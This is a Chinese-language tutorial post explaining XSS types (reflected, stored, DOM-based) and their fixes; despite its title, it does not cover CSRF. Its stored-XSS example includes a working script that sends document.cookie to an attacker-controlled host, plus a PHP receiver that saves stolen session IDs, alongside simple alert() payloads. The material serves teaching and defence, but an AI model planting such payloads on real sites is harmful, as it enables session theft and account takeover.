前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Xss和Csrf介绍

Xss和Csrf介绍

作者头像
用户1141560
发布2018-03-30 10:45:49
9570
发布2018-03-30 10:45:49
举报
文章被收录于专栏:西安-晁州西安-晁州

Xss和Csrf介绍

Xss

Xss(跨站脚本攻击),全称Cross Site Scripting,恶意攻击者向web页面中植入恶意js代码,当用户浏览到该页时,植入的代码被执行,达到恶意攻击用户的目的。

Xss攻击的危害

  • 盗取各类用户账号
  • 窃取有商业价值的资料
  • 非法转账操作
  • 强制发送电子邮件
  • 控制受害者机器向其它网站发起攻击
  • 等等...

原因分析

原因:没有对客户端提交的数据进行校验分析,导致恶意代码被植入。

根本解决:不要相信任何客户端提交的任何数据!!!

Xss攻击的分类

  • 反射型Xss攻击
  • 存贮型Xss攻击
  • DOMBasedXSS
反射型Xss攻击

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。

正常发送消息:

代码语言:javascript
复制
http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

代码语言:javascript
复制
http://www.test.com/message.php?send=<script>alert("foolish!")</script>

接收者接收消息显示的时候将会弹出警告窗口。

存贮型xss攻击

又称持久性Xss攻击,存贮型Xss的攻击代码一般存储在网站的数据库中,每当用户打开网站时被执行,因此危害更大。

举个栗子:

一个简单的留言板功能,表单提交域如下,

代码语言:javascript
复制
<input type="text" name="content" value="这里是用户填写的数据">

攻击者在value填写

代码语言:javascript
复制
<script>alert('foolish!')</script>

【或者html其他标签(破坏样式。。。)、一段攻击型代码】,这些代码便被提交到了数据库中,其他用户取出数据显示的时候,将会执行这些攻击性代码。

DOMBasedXSS(基于Dom的跨站点脚本攻击)

当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location或document.URL或document.referrer获取数据(或者任何其他攻击者可以修改的对象),所以应该避免直接从document.location或document.URL或document.referrer获取数据。

举个栗子:

代码语言:javascript
复制
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

非正常操作:

代码语言:javascript
复制
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

使用Xss攻击来盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单,xss.html:

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<head>
    <title>xss攻击</title>
    <meta charset="utf-8">
</head>
<body>

<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>
</body>
</html>

3、恶意攻击者提交表单时,插入相应代码:

代码语言:javascript
复制
<script>
var Str=document.cookie;               //获取cookie
var a =document.createElement('a');        //创建a标签
a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
document.body.appendChild(a);              //将标签添加到页面中
</script>

4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie:

代码语言:javascript
复制
<?php
header("content-type:text/html;charset=utf8");
echo "你的PHPSESSID被盗啦";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt', $cookie);
?>

Xss漏洞的修复

  • HTML Encode
  • 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了
  • 规定表单数据值的类型,比如年龄int、姓名int+string
  • 过滤或移除特殊的Html标签
  • 过滤JavaScript 事件的标签

HTML Encode对应关系表:

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018-02-11 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Xss和Csrf介绍
    • Xss
      • Xss攻击的危害
      • 原因分析
      • Xss攻击的分类
      • 使用Xss攻击来盗取cookie
      • Xss漏洞的修复
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档